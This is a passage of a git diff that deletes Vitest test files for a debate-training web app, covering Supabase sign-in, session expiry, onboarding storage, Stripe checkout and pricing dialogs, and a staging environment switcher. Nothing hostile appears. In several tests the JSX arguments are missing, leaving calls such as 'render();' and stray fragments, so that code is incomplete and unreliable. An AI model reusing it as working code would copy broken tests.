'Demo code' })); - const input = await screen.findByRole('textbox', { name: 'Demo code' }); - - fireEvent.change(input, { target: { value: 'ab12' } }); - expect(input).toHaveValue('DEMO-AB12'); - fireEvent.click(screen.getByRole('button', { name: 'Sign in with demo code' })); - expect(await screen.findByRole('alert')).toHaveTextContent('Demo codes look like DEMO-AB12-CD34.'); - expect(auth.signInWithDemoCode).not.toHaveBeenCalled(); - - fireEvent.change(input, { target: { value: 'demo-ab12-cd34' } }); - fireEvent.click(screen.getByRole('button', { name: 'Sign in with demo code' })); - await vi.waitFor(() => expect(auth.signInWithDemoCode).toHaveBeenCalledWith('DEMO-AB12-CD34')); - }); -}); - -describe('Auth rate-limit waits (AUTH-04)', () => { - it('reads the wait from a max_frequency refusal and nothing else', () => { - expect(authRetryAfterSeconds(tooSoon(42))).toBe(42); - // The hourly email cap names no wait. - expect(authRetryAfterSeconds(new AuthApiError('email rate limit exceeded', 429, 'over_email_send_rate_limit'))).toBeNull(); - expect(authRetryAfterSeconds(new AuthApiError('Token has expired or is invalid', 403, 'otp_expired'))).toBeNull(); - }); -}); diff --git a/src/test/auth/login-google-redirect.test.tsx b/src/test/auth/login-google-redirect.test.tsx deleted file mode 100644 index 8970f4e9e..000000000 --- a/src/test/auth/login-google-redirect.test.tsx +++ /dev/null @@ -1,42 +0,0 @@ -import { describe, expect, it, vi } from 'vitest'; -import { fireEvent, render, screen, waitFor } from '@testing-library/react'; -import { MemoryRouter } from 'react-router-dom'; -import { TooltipProvider } from '@/components/ui/tooltip'; -import LoginPage from '@/pages/LoginPage'; -import { restoreFromBackForwardCache } from '@/test/helpers/page-lifecycle'; - -const auth = vi.hoisted(() => ({ - // Resolves once location.assign has been called, like the real one. - signInWithGoogle: vi.fn(async () => undefined), -})); - -vi.mock('@/lib/supabase/AuthProvider', () => ({ - useAuth: () => ({ - user: null as null, - signInWithGoogle: auth.signInWithGoogle, - signInWithEmailOtp: vi.fn(), - verifyEmailOtp: vi.fn(), - signInWithDemoCode: vi.fn(), - }), -})); - -// AUTH-15: Back from Google's account chooser restored /login from the -// back/forward cache with the button stuck on "Redirecting...". -describe('Continue with Google', () => { - it('works again after Back from Google restores the page', async () => { - render(); - - fireEvent.click(screen.getByRole('button', { name: 'Continue with Google' })); - const redirecting = await screen.findByRole('button', { name: 'Redirecting...' }); - expect(redirecting).toBeDisabled(); - fireEvent.click(redirecting); - expect(auth.signInWithGoogle).toHaveBeenCalledTimes(1); - - restoreFromBackForwardCache(); - const button = screen.getByRole('button', { name: 'Continue with Google' }); - expect(button).toBeEnabled(); - - fireEvent.click(button); - await waitFor(() => expect(auth.signInWithGoogle).toHaveBeenCalledTimes(2)); - }); -}); diff --git a/src/test/auth/login-otp.test.tsx b/src/test/auth/login-otp.test.tsx deleted file mode 100644 index 16d097742..000000000 --- a/src/test/auth/login-otp.test.tsx +++ /dev/null @@ -1,63 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest'; -import { fireEvent, render, screen, waitFor } from '@testing-library/react'; -import { MemoryRouter } from 'react-router-dom'; -import { TooltipProvider } from '@/components/ui/tooltip'; -import { AuthApiError } from '@supabase/supabase-js'; -import LoginPage from '@/pages/LoginPage'; - -const auth = vi.hoisted(() => ({ - signInWithEmailOtp: vi.fn(async () => undefined), - verifyEmailOtp: vi.fn(async () => undefined), -})); - -vi.mock('@/lib/supabase/AuthProvider', () => ({ - useAuth: () => ({ - user: null as null, - signInWithGoogle: vi.fn(), - signInWithEmailOtp: auth.signInWithEmailOtp, - verifyEmailOtp: auth.verifyEmailOtp, - signInWithDemoCode: vi.fn(), - }), -})); - -// Each test sends to the same address; a stored resend cooldown would skip the send. -beforeEach(() => sessionStorage.clear()); - -async function requestCode() { - render(); - fireEvent.change(screen.getByLabelText('Email address'), { target: { value: 'student@example.com' } }); - fireEvent.click(screen.getByRole('button', { name: 'Send code' })); - return await screen.findByLabelText('Verification code'); -} - -describe('email code entry', () => { - it('keeps only digits and enables Verify at exactly six', async () => { - const input = await requestCode(); - const verify = screen.getByRole('button', { name: 'Verify code' }); - - fireEvent.change(input, { target: { value: '12ab' } }); - expect(input).toHaveValue('12'); - expect(verify).toBeDisabled(); - - fireEvent.change(input, { target: { value: '12345' } }); - expect(verify).toBeDisabled(); - - // A pasted code with a space still fills all six digits. - fireEvent.change(input, { target: { value: '123 4567' } }); - expect(input).toHaveValue('123456'); - expect(verify).toBeEnabled(); - - fireEvent.click(verify); - await waitFor(() => expect(auth.verifyEmailOtp).toHaveBeenCalledWith('student@example.com', '123456')); - }); - - it('says a refused code may be wrong, not only expired', async () => { - auth.verifyEmailOtp.mockRejectedValueOnce(new AuthApiError('Token has expired or is invalid', 403, 'otp_expired')); - const input = await requestCode(); - - fireEvent.change(input, { target: { value: '000000' } }); - fireEvent.click(screen.getByRole('button', { name: 'Verify code' })); - - expect(await screen.findByRole('alert')).toHaveTextContent('That code is wrong or has expired. Check it or send a new one.'); - }); -}); diff --git a/src/test/auth/onboarding-per-account.test.ts b/src/test/auth/onboarding-per-account.test.ts deleted file mode 100644 index 242718340..000000000 --- a/src/test/auth/onboarding-per-account.test.ts +++ /dev/null @@ -1,54 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest'; - -const STORAGE_KEY = 'debate-trainer-onboarding'; - -async function loadStore() { - vi.resetModules(); - return await import('@/hooks/use-onboarding'); -} - -describe('onboarding tour per account', () => { - beforeEach(() => localStorage.clear()); - - it('shows the tour to every new account on a browser, once each', async () => { - const { useOnboardingStore, hasCompletedOnboarding } = await loadStore(); - useOnboardingStore.getState().setOnboardingComplete('student-a'); - - const state = useOnboardingStore.getState(); - expect(hasCompletedOnboarding(state, 'student-a')).toBe(true); - expect(hasCompletedOnboarding(state, 'student-b')).toBe(false); - expect(JSON.parse(localStorage.getItem(STORAGE_KEY)!)).toEqual({ - state: { completedUserIds: ['student-a'], legacyCompleted: false }, - version: 1, - }); - }); - - it('gives the old browser-wide "done" flag to the next account only', async () => { - localStorage.setItem(STORAGE_KEY, JSON.stringify({ state: { hasCompletedOnboarding: true, isTourRunning: false }, version: 0 })); - const { useOnboardingStore, hasCompletedOnboarding } = await loadStore(); - - useOnboardingStore.getState().claimLegacyCompletion('student-a'); - useOnboardingStore.getState().claimLegacyCompletion('student-b'); - - const state = useOnboardingStore.getState(); - expect(hasCompletedOnboarding(state, 'student-a')).toBe(true); - expect(hasCompletedOnboarding(state, 'student-b')).toBe(false); - }); - - it('keeps the tour for a browser whose old flag says it was never finished', async () => { - localStorage.setItem(STORAGE_KEY, JSON.stringify({ state: { hasCompletedOnboarding: false, isTourRunning: false }, version: 0 })); - const { useOnboardingStore, hasCompletedOnboarding } = await loadStore(); - - useOnboardingStore.getState().claimLegacyCompletion('student-a'); - expect(hasCompletedOnboarding(useOnboardingStore.getState(), 'student-a')).toBe(false); - }); - - it('ignores a damaged stored copy instead of breaking every protected page', async () => { - localStorage.setItem(STORAGE_KEY, JSON.stringify({ state: { completedUserIds: null, legacyCompleted: 'yes' }, version: 1 })); - const { useOnboardingStore, hasCompletedOnboarding } = await loadStore(); - - const state = useOnboardingStore.getState(); - expect(state.completedUserIds).toEqual([]); - expect(hasCompletedOnboarding(state, 'student-a')).toBe(false); - }); -}); diff --git a/src/test/auth/session-expiry.test.ts b/src/test/auth/session-expiry.test.ts deleted file mode 100644 index 2472bf37a..000000000 --- a/src/test/auth/session-expiry.test.ts +++ /dev/null @@ -1,146 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; -import { AuthApiError, AuthRetryableFetchError, AuthSessionMissingError } from '@supabase/supabase-js'; -import { isAuthRejection, setActiveAccessToken, supabase, SUPABASE_URL } from '@/lib/supabase/client'; -import { - clearSessionExpiredNotice, - resetSessionExpiryCheck, - sessionExpiredNotice, - verifySessionAfterRejection, -} from '@/lib/supabase/session-expiry'; - -function fakeAuth(refreshError: unknown) { - return { - refreshSession: vi.fn(async () => ({ data: { user: null, session: null }, error: refreshError })), - signOut: vi.fn(async () => ({ error: null })), - }; -} - -describe('a refused session', () => { - beforeEach(() => { - resetSessionExpiryCheck(); - clearSessionExpiredNotice(); - }); - - afterEach(() => { - vi.restoreAllMocks(); - vi.useRealTimers(); - vi.unstubAllGlobals(); - setActiveAccessToken(null, null); - }); - - it('counts only auth refusals, not policy answers', () => { - expect(isAuthRejection(`${SUPABASE_URL}/auth/v1/user`, 403)).toBe(true); - expect(isAuthRejection(`${SUPABASE_URL}/auth/v1/user`, 401)).toBe(true); - expect(isAuthRejection(`${SUPABASE_URL}/rest/v1/flowcharts?select=*`, 401)).toBe(true); - expect(isAuthRejection(`${SUPABASE_URL}/functions/v1/announcements`, 401)).toBe(true); - // RLS refusals and server errors are not a dead session. - expect(isAuthRejection(`${SUPABASE_URL}/rest/v1/flowcharts`, 403)).toBe(false); - expect(isAuthRejection(`${SUPABASE_URL}/rest/v1/flowcharts`, 503)).toBe(false); - // The check itself calls these; counting them would loop. - expect(isAuthRejection(`${SUPABASE_URL}/auth/v1/token?grant_type=refresh_token`, 400)).toBe(false); - expect(isAuthRejection(`${SUPABASE_URL}/auth/v1/logout?scope=local`, 401)).toBe(false); - }); - - it('signs out locally and leaves a note when Auth refuses the refresh too', async () => { - const auth = fakeAuth(new AuthApiError('Invalid Refresh Token: Refresh Token Not Found', 400, 'refresh_token_not_found')); - - await expect(verifySessionAfterRejection(auth)).resolves.toBe('expired'); - - expect(auth.signOut).toHaveBeenCalledWith({ scope: 'local' }); - expect(sessionExpiredNotice()).toBe(true); - }); - - it('treats a session missing from storage as expired', async () => { - const auth = fakeAuth(new AuthSessionMissingError()); - await expect(verifySessionAfterRejection(auth)).resolves.toBe('expired'); - expect(auth.signOut).toHaveBeenCalledOnce(); - }); - - it.each([ - ['an Auth outage', new AuthRetryableFetchError('Service Unavailable', 503)], - ['a rate limit', new AuthApiError('Too many requests', 429, 'over_request_rate_limit')], - ['an Auth server error', new AuthApiError('Internal error', 500, 'unexpected_failure')], - ])('keeps the session on %s', async (_label, error) => { - const auth = fakeAuth(error); - - await expect(verifySessionAfterRejection(auth)).resolves.toBe('kept'); - - expect(auth.signOut).not.toHaveBeenCalled(); - expect(sessionExpiredNotice()).toBe(false); - }); - - it('signs out immediately when Auth itself refuses the user, without refreshing', async () => { - const auth = fakeAuth(null); - await expect(verifySessionAfterRejection(auth, Date.now, { userLookup: true })).resolves.toBe('expired'); - expect(auth.refreshSession).not.toHaveBeenCalled(); - expect(auth.signOut).toHaveBeenCalledTimes(1); - expect(auth.signOut).toHaveBeenCalledWith({ scope: 'local' }); - await expect(verifySessionAfterRejection(auth, Date.now, { userLookup: true })).resolves.toBe('expired'); - expect(auth.signOut).toHaveBeenCalledTimes(1); - }); - - it('backs off after an outage instead of retrying immediately', async () => { - let now = 1_000_000; - const auth = fakeAuth(new AuthRetryableFetchError('Service Unavailable', 503)); - - await expect(verifySessionAfterRejection(auth, () => now)).resolves.toBe('kept'); - now += 999; - await expect(verifySessionAfterRejection(auth, () => now)).resolves.toBe('skipped'); - now += 2; - await expect(verifySessionAfterRejection(auth, () => now)).resolves.toBe('kept'); - - expect(auth.refreshSession).toHaveBeenCalledTimes(2); - expect(auth.signOut).not.toHaveBeenCalled(); - }); - - it('keeps a session whose refresh works, and does not refresh again for the rest of the burst', async () => { - let now = 1_000_000; - const auth = fakeAuth(null); - - await expect(verifySessionAfterRejection(auth, () => now)).resolves.toBe('kept'); - now += 9_000; - await expect(verifySessionAfterRejection(auth, () => now)).resolves.toBe('skipped'); - now += 2_000; - await expect(verifySessionAfterRejection(auth, () => now)).resolves.toBe('kept'); - - expect(auth.refreshSession).toHaveBeenCalledTimes(2); - expect(auth.signOut).not.toHaveBeenCalled(); - }); - - it('runs one check at a time', async () => { - let finish!: () => void; - const auth = { - refreshSession: vi.fn(() => new Promise<{ data: { user: null; session: null }; error: null }>((resolve) => { - finish = () => resolve({ data: { user: null, session: null }, error: null }); - })), - signOut: vi.fn(), - }; - - const first = verifySessionAfterRejection(auth); - await expect(verifySessionAfterRejection(auth)).resolves.toBe('skipped'); - finish(); - await expect(first).resolves.toBe('kept'); - expect(auth.refreshSession).toHaveBeenCalledOnce(); - }); - - it('checks the session after a refused signed-in request, and ignores signed-out ones', async () => { - vi.useFakeTimers(); - vi.stubGlobal('fetch', vi.fn(async () => new Response('{"message":"JWT expired"}', { - status: 401, - headers: { 'Content-Type': 'application/json' }, - }))); - const refresh = vi.spyOn(supabase.auth, 'refreshSession').mockResolvedValue({ data: { user: null, session: null }, error: null } as never); - - setActiveAccessToken(null, null); - await supabase.from('flowcharts').select('id'); - await vi.runAllTimersAsync(); - expect(refresh).not.toHaveBeenCalled(); - - setActiveAccessToken('revoked-token', 'user-1'); - await supabase.from('flowcharts').select('id'); - // Not inside the request: supabase-js may still hold its session lock there. - expect(refresh).not.toHaveBeenCalled(); - await vi.runAllTimersAsync(); - expect(refresh).toHaveBeenCalledOnce(); - }); -}); diff --git a/src/test/auth/sign-out-drafts.test.ts b/src/test/auth/sign-out-drafts.test.ts deleted file mode 100644 index da463d007..000000000 --- a/src/test/auth/sign-out-drafts.test.ts +++ /dev/null @@ -1,18 +0,0 @@ -import { describe, expect, it } from 'vitest'; -import { useSessionStore } from '@/lib/stores/session-store'; - -describe('signing out', () => { - it('drops tool drafts, so the next person on this browser starts with empty forms', () => { - const store = useSessionStore.getState(); - store.setGenerateForm({ motion: 'Previous user motion' }); - store.setAttackForm({ caseText: 'Previous user case' }); - store.setBrainstormForm({ motion: 'Previous user brainstorm' }); - store.setFactoidsForm({ claim: 'Previous user claim' }); - - // AuthProvider calls this on sign-out and when a different user signs in. - useSessionStore.getState().resetLocalData(); - - const state = useSessionStore.getState(); - expect([state.generateForm, state.attackForm, state.brainstormForm, state.factoidsForm]).toEqual([{}, {}, {}, {}]); - }); -}); diff --git a/src/test/billing/checkout-return.test.ts b/src/test/billing/checkout-return.test.ts deleted file mode 100644 index 7728b38d6..000000000 --- a/src/test/billing/checkout-return.test.ts +++ /dev/null @@ -1,73 +0,0 @@ -import { describe, expect, it } from 'vitest'; -import { - CHECKOUT_CONFIRM_WINDOW_MS, - nextCheckoutConfirmation, - stripCheckoutParams, -} from '@/lib/billing/checkout-return'; - -describe('checkout return', () => { - it('keeps polling while Stripe has not recorded Pro yet', () => { - expect(nextCheckoutConfirmation({ - checkout: 'success', - tier: 'expired', - elapsedMs: 0, - loading: false, - })).toBe('poll'); - expect(nextCheckoutConfirmation({ - checkout: 'success', - tier: 'trial', - elapsedMs: CHECKOUT_CONFIRM_WINDOW_MS - 1, - loading: false, - })).toBe('poll'); - }); - - it('waits for the first read, then stops once Pro or a gifted plan is visible', () => { - expect(nextCheckoutConfirmation({ - checkout: 'success', - tier: 'expired', - elapsedMs: 0, - loading: true, - })).toBe('wait'); - expect(nextCheckoutConfirmation({ - checkout: 'success', - tier: 'pro', - elapsedMs: 4_000, - loading: false, - })).toBe('confirmed'); - expect(nextCheckoutConfirmation({ - checkout: 'success', - tier: 'legacy_free', - elapsedMs: 4_000, - loading: false, - })).toBe('confirmed'); - }); - - it('stops polling when the webhook is still quiet after the window', () => { - expect(nextCheckoutConfirmation({ - checkout: 'success', - tier: 'expired', - elapsedMs: CHECKOUT_CONFIRM_WINDOW_MS, - loading: false, - })).toBe('slow'); - }); - - it('treats a canceled checkout as its own ending and ignores other pages', () => { - expect(nextCheckoutConfirmation({ - checkout: 'canceled', - tier: 'trial', - elapsedMs: 0, - loading: false, - })).toBe('canceled'); - expect(nextCheckoutConfirmation({ - checkout: null, - tier: 'expired', - elapsedMs: 0, - loading: false, - })).toBe('ignore'); - }); - - it('removes the Stripe return params and leaves the rest', () => { - const next = stripCheckoutParams(new URLSearchParams('checkout=success&session_id=cs_test&tab=account')); - expect(next.toString()).toBe('tab=account'); - }); -}); diff --git a/src/test/billing/pricing-modal-redirect.test.tsx b/src/test/billing/pricing-modal-redirect.test.tsx deleted file mode 100644 index 841221157..000000000 --- a/src/test/billing/pricing-modal-redirect.test.tsx +++ /dev/null @@ -1,108 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest'; -import { fireEvent, render, screen, waitFor } from '@testing-library/react'; -import { PricingModal } from '@/components/features/subscription/PricingModal'; -import { restoreFromBackForwardCache } from '@/test/helpers/page-lifecycle'; - -const stripe = vi.hoisted(() => ({ - redirectToCheckout: vi.fn(async (_promoCode?: string) => undefined), - redirectToPortal: vi.fn(async () => undefined), - redeemPromoCode: vi.fn(), -})); - -const TRIAL = { tier: 'trial', billingState: 'trial', billingDate: null as string | null, hasOpenSubscription: false, hasStripeBilling: false, loading: false }; -let subscription: Record = TRIAL; - -vi.mock('@/lib/stripe', () => stripe); -vi.mock('@/hooks/use-subscription', () => ({ useSubscription: () => subscription })); -vi.mock('@/hooks/use-toast', () => ({ useToast: () => ({ toast: vi.fn() }) })); - -function renderModal(open = true) { - const props = { onOpenChange: vi.fn() }; - const view = render(); - return { ...view, reopen: (next: boolean) => view.rerender() }; -} - -async function startCheckout() { - fireEvent.click(screen.getByRole('button', { name: 'Upgrade to Pro' })); - const redirecting = await screen.findByRole('button', { name: 'Redirecting...' }); - expect(redirecting).toBeDisabled(); -} - -// AUTH-16: Back from Stripe Checkout left the upgrade button disabled, and closing -// and reopening the dialog did not clear it. -describe('PricingModal upgrade button', () => { - beforeEach(() => { - subscription = TRIAL; - stripe.redirectToCheckout.mockClear(); - }); - - it('works again after Back from Checkout restores the page', async () => { - renderModal(); - await startCheckout(); - fireEvent.click(screen.getByRole('button', { name: 'Redirecting...' })); - expect(stripe.redirectToCheckout).toHaveBeenCalledTimes(1); - - restoreFromBackForwardCache(); - fireEvent.click(screen.getByRole('button', { name: 'Upgrade to Pro' })); - await waitFor(() => expect(stripe.redirectToCheckout).toHaveBeenCalledTimes(2)); - }); - - it('shows a fresh button after the dialog is closed and reopened', async () => { - const { reopen } = renderModal(); - await startCheckout(); - - reopen(false); - reopen(true); - expect(await screen.findByRole('button', { name: 'Upgrade to Pro' })).toBeEnabled(); - }); - - it('sends one checkout request when reopened while the first is still loading', async () => { - let finish!: () => void; - stripe.redirectToCheckout.mockImplementationOnce(() => new Promise((resolve) => { finish = () => resolve(undefined); })); - const { reopen } = renderModal(); - await startCheckout(); - - reopen(false); - reopen(true); - fireEvent.click(await screen.findByRole('button', { name: 'Redirecting...' })); - expect(stripe.redirectToCheckout).toHaveBeenCalledTimes(1); - finish(); - }); -}); - -// QB-16: the dialog follows the account's state. Anyone a Stripe subscription -// can still bill goes to the portal; nobody on Pro is offered Upgrade. -describe('PricingModal per billing state', () => { - const stateOf = (overrides: Record) => ({ ...TRIAL, ...overrides }); - const CASES = [ - { name: 'trial', state: stateOf({}), button: 'Upgrade to Pro', current: 'plan-trial', portal: false }, - { name: 'trial ended with extended access', state: stateOf({ tier: 'expired', billingState: 'extended_access' }), button: 'Upgrade to Pro', current: null, portal: false }, - { name: 'active Pro', state: stateOf({ tier: 'pro', billingState: 'pro', hasOpenSubscription: true, hasStripeBilling: true }), button: 'Manage subscription', current: 'plan-pro', portal: true }, - { name: 'Pro set to cancel', state: stateOf({ tier: 'pro', billingState: 'pro_canceling', billingDate: '2026-11-22T00:00:00Z', hasOpenSubscription: true, hasStripeBilling: true }), button: 'Manage subscription', current: 'plan-pro', portal: true }, - { name: 'past due in the grace', state: stateOf({ tier: 'pro', billingState: 'payment_failed', hasOpenSubscription: true, hasStripeBilling: true }), button: 'Manage subscription', current: 'plan-pro', portal: true }, - { name: 'past due after the grace', state: stateOf({ tier: 'expired', billingState: 'payment_failed', hasOpenSubscription: true, hasStripeBilling: true }), button: 'Manage subscription', current: null, portal: true }, - { name: 'subscription ended', state: stateOf({ tier: 'expired', billingState: 'subscription_ended', hasStripeBilling: true }), button: 'Resubscribe', current: null, portal: false }, - { name: 'legacy free in its grace', state: stateOf({ tier: 'legacy_free', billingState: 'legacy_free' }), button: 'Upgrade to Pro', current: null, portal: false }, - { name: 'promo Pro without Stripe', state: stateOf({ tier: 'pro', billingState: 'pro' }), button: 'Set up billing', current: 'plan-pro', portal: false }, - ]; - - beforeEach(() => { - stripe.redirectToCheckout.mockClear(); - stripe.redirectToPortal.mockClear(); - }); - - it.each(CASES)('$name: one right next step and the right plan marked current', async ({ state, button, current, portal }) => { - subscription = state; - renderModal(); - for (const other of ['Upgrade to Pro', 'Manage subscription', 'Resubscribe', 'Set up billing'].filter((name) => name !== button)) { - expect(screen.queryByRole('button', { name: other })).not.toBeInTheDocument(); - } - for (const plan of ['plan-trial', 'plan-pro']) { - const badge = screen.getByTestId(plan).querySelector('h3 + *'); - expect(badge?.textContent === 'Current').toBe(plan === current); - } - fireEvent.click(screen.getByRole('button', { name: button })); - await waitFor(() => expect(portal ? stripe.redirectToPortal : stripe.redirectToCheckout).toHaveBeenCalledTimes(1)); - expect(portal ? stripe.redirectToCheckout : stripe.redirectToPortal).not.toHaveBeenCalled(); - }); -}); diff --git a/src/test/components/EnvironmentSwitcher.test.tsx b/src/test/components/EnvironmentSwitcher.test.tsx deleted file mode 100644 index 170a8c23e..000000000 --- a/src/test/components/EnvironmentSwitcher.test.tsx +++ /dev/null @@ -1,146 +0,0 @@ -import { act, cleanup, fireEvent, render, screen } from '@testing-library/react'; -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; -import { EnvironmentSwitcher } from '@/components/features/settings/EnvironmentSwitcher'; -import { StagingBanner } from '@/components/StagingBanner'; - -const mocks = vi.hoisted(() => ({ - env: 'production' as 'local' | 'production' | 'staging', - pinned: false, - setActiveEnv: vi.fn(), - signOut: vi.fn(), - discard: vi.fn(), -})); -vi.mock('@/lib/supabase/env', () => ({ - ENV_STORAGE_KEY: 'debate-supabase-env', - getActiveEnv: () => mocks.env, - isEnvPinned: () => mocks.env === 'local' || mocks.pinned, - setActiveEnv: mocks.setActiveEnv, -})); -vi.mock('@/lib/supabase/AuthProvider', () => ({ useAuth: () => ({ leaveEnvironment: mocks.signOut, discardTabState: mocks.discard }) })); - -beforeEach(() => { - mocks.env = 'production'; - mocks.pinned = false; - mocks.setActiveEnv.mockReset(); - mocks.signOut.mockReset().mockResolvedValue(undefined); - mocks.discard.mockReset(); -}); -afterEach(cleanup); - -describe('EnvironmentSwitcher', () => { - it('switches production to staging only after confirmation, signing out first', async () => { - const order: string[] = []; - mocks.signOut.mockImplementation(async () => { order.push('signOut'); }); - mocks.setActiveEnv.mockImplementation((env: string) => { order.push(`set:${env}`); }); - const reload = vi.fn(() => { order.push('reload'); }); - render(); - - expect(screen.getByText('production')).toBeInTheDocument(); - fireEvent.click(screen.getByRole('button', { name: 'Switch to staging' })); - expect(mocks.signOut).not.toHaveBeenCalled(); - expect(screen.getByRole('dialog')).toHaveTextContent('pointing at staging'); - - await act(async () => { fireEvent.click(screen.getByRole('button', { name: 'Switch & sign out' })); }); - expect(order).toEqual(['signOut', 'set:staging', 'reload']); - }); - - it('leaves the environment alone when the dialog is cancelled', () => { - const reload = vi.fn(); - render(); - fireEvent.click(screen.getByRole('button', { name: 'Switch to staging' })); - fireEvent.click(screen.getByRole('button', { name: 'Cancel' })); - expect(screen.queryByRole('dialog')).not.toBeInTheDocument(); - expect(mocks.signOut).not.toHaveBeenCalled(); - expect(mocks.setActiveEnv).not.toHaveBeenCalled(); - expect(reload).not.toHaveBeenCalled(); - }); - - it('still switches when sign-out fails, so nobody is stranded on a broken project', async () => { - mocks.env = 'staging'; - mocks.signOut.mockRejectedValue(new Error('staging unreachable')); - vi.spyOn(console, 'warn').mockImplementation(() => {}); - const reload = vi.fn(); - render(); - fireEvent.click(screen.getByRole('button', { name: 'Switch to production' })); - await act(async () => { fireEvent.click(screen.getByRole('button', { name: 'Switch & sign out' })); }); - expect(mocks.setActiveEnv).toHaveBeenCalledWith('production'); - expect(reload).toHaveBeenCalledOnce(); - }); - - it('renders nothing in local preview', () => { - mocks.env = 'local'; - const { container } = render(); - expect(container).toBeEmptyDOMElement(); - }); - - it('renders nothing in a staging preview build, which cannot switch', () => { - mocks.env = 'staging'; - mocks.pinned = true; - const { container } = render(); - expect(container).toBeEmptyDOMElement(); - }); -}); - -describe('StagingBanner', () => { - it('is hidden outside staging', () => { - const { container, rerender } = render(); - expect(container).toBeEmptyDOMElement(); - mocks.env = 'local'; - rerender(); - expect(container).toBeEmptyDOMElement(); - }); - - it('marks staging and returns to production without needing a staging session', async () => { - mocks.env = 'staging'; - const reload = vi.fn(); - render(); - expect(screen.getByRole('status')).toHaveTextContent('Staging backend'); - await act(async () => { fireEvent.click(screen.getByRole('button', { name: 'Switch to production' })); }); - expect(mocks.signOut).toHaveBeenCalledOnce(); - expect(mocks.setActiveEnv).toHaveBeenCalledWith('production'); - expect(reload).toHaveBeenCalledOnce(); - }); - - it('reloads this tab when another tab switches to a different project', () => { - const reload = vi.fn(); - render(); - const changeTo = (value: string | null, key: string | null = 'debate-supabase-env') => { - if (value === null) localStorage.removeItem('debate-supabase-env'); - else localStorage.setItem('debate-supabase-env', value); - window.dispatchEvent(new StorageEvent('storage', { key, newValue: value })); - }; - - changeTo(null, 'debate-trainer-storage'); - changeTo(null); - expect(reload).not.toHaveBeenCalled(); - expect(mocks.discard).not.toHaveBeenCalled(); - mocks.discard.mockImplementation(() => expect(reload).not.toHaveBeenCalled()); - changeTo('staging'); - expect(mocks.discard).toHaveBeenCalledOnce(); - expect(reload).toHaveBeenCalledOnce(); - localStorage.removeItem('debate-supabase-env'); - }); - - it('marks a staging preview build without offering a switch it cannot make', () => { - mocks.env = 'staging'; - mocks.pinned = true; - const reload = vi.fn(); - render(); - expect(screen.getByRole('status')).toHaveTextContent('Staging backend'); - expect(screen.queryByRole('button')).not.toBeInTheDocument(); - localStorage.setItem('debate-supabase-env', 'production'); - window.dispatchEvent(new StorageEvent('storage', { key: 'debate-supabase-env', newValue: 'production' })); - expect(reload).not.toHaveBeenCalled(); - localStorage.removeItem('debate-supabase-env'); - }); - - it('ignores other tabs in local preview', () => { - mocks.env = 'local'; - const reload = vi.fn(); - render(); - localStorage.setItem('debate-supabase-env', 'staging'); - window.dispatchEvent(new StorageEvent('storage', { key: 'debate-supabase-env', newValue: 'staging' })); - expect(reload).not.toHaveBeenCalled(); - localStorage.removeItem('debate-supabase-env'); - }); -}); diff --git a/src/test/components/LimitReachedModal.test.tsx b/src/test/components/LimitReachedModal.test.tsx deleted file mode 100644 index 17d33b790..000000000 --- a/src/test/components/LimitReachedModal.test.tsx +++ /dev/null @@ -1,131 +0,0 @@ -import { fireEvent, render, screen } from '@testing-library/react'; -import { MemoryRouter, Route, Routes } from 'react-router-dom'; -import { beforeEach, describe, expect, it, vi } from 'vitest'; -import { LimitReachedModal, type LimitModalVariant } from '@/components/features/subscription/LimitReachedModal'; -import { SubscriptionErrorModals } from '@/components/features/subscription/SubscriptionErrorModals'; -import type { useSubscriptionError } from '@/hooks/use-subscription-error'; -import i18n from '@/i18n'; - -const subscription = vi.hoisted(() => ({ - isPro: false, - billingState: 'trial' as string, - billingDate: null as string | null, -})); - -vi.mock('@/hooks/use-subscription', () => ({ - useSubscription: () => ({ - isPro: subscription.isPro, - loading: false, - tier: subscription.isPro ? 'pro' : 'trial', - billingState: subscription.billingState, - billingDate: subscription.billingDate, - }), -})); - -function renderModal(variant: LimitModalVariant = 'limit_reached') { - const onUpgrade = vi.fn(); - const onOpenChange = vi.fn(); - render( - - - - )} /> - Settings page

} /> -
-
, - ); - return { onUpgrade, onOpenChange }; -} - -describe('LimitReachedModal', () => { - beforeEach(() => { - subscription.isPro = false; - subscription.billingState = 'trial'; - subscription.billingDate = null; - }); - - it('offers Pro when a free plan hits the daily cap', () => { - renderModal(); - expect(screen.getByRole('button', { name: 'Upgrade to Pro' })).toBeInTheDocument(); - }); - - it('offers Pro to a legacy free account at the daily cap: it is served like Pro but pays nothing', () => { - subscription.isPro = true; - subscription.billingState = 'legacy_free'; - renderModal(); - expect(screen.getByRole('button', { name: 'Upgrade to Pro' })).toBeInTheDocument(); - }); - - it('does not sell Pro again when a paying student hits the daily cap', async () => { - subscription.isPro = true; - subscription.billingState = 'pro'; - const { onUpgrade, onOpenChange } = renderModal(); - expect(screen.queryByRole('button', { name: 'Upgrade to Pro' })).not.toBeInTheDocument(); - expect(screen.queryByText('More AI prep access + high reasoning')).not.toBeInTheDocument(); - fireEvent.click(screen.getByRole('button', { name: 'OK' })); - expect(onOpenChange).toHaveBeenCalledWith(false); - expect(onUpgrade).not.toHaveBeenCalled(); - }); - - it.each(['trial_expired', 'trial_ended'] as const)('still offers Pro when the trial has ended (%s)', (variant) => { - renderModal(variant); - expect(screen.getByRole('heading', { name: 'Your free trial has ended' })).toBeInTheDocument(); - expect(screen.getByRole('button', { name: 'Upgrade to Pro' })).toBeInTheDocument(); - }); - - it('sends a failed payment to Settings instead of a second Checkout', () => { - // QB-13: a past-due subscription is still being retried; Checkout would bill twice. - subscription.isPro = false; - subscription.billingState = 'payment_failed'; - const { onUpgrade, onOpenChange } = renderModal('payment_failed'); - expect(screen.getByRole('heading', { name: 'Payment failed' })).toBeInTheDocument(); - expect(screen.queryByText(/free trial/i)).not.toBeInTheDocument(); - expect(screen.queryByRole('button', { name: /Upgrade to Pro/ })).not.toBeInTheDocument(); - fireEvent.click(screen.getByRole('button', { name: 'Update payment method' })); - expect(onOpenChange).toHaveBeenCalledWith(false); - expect(onUpgrade).not.toHaveBeenCalled(); - expect(screen.getByText('Settings page')).toBeInTheDocument(); - }); - - it('tells a former subscriber when Pro ended and offers to resubscribe', () => { - // QB-14: not "Your 3-day free trial has ended". - subscription.billingState = 'subscription_ended'; - subscription.billingDate = '2026-10-01T12:00:00.000Z'; - const { onUpgrade } = 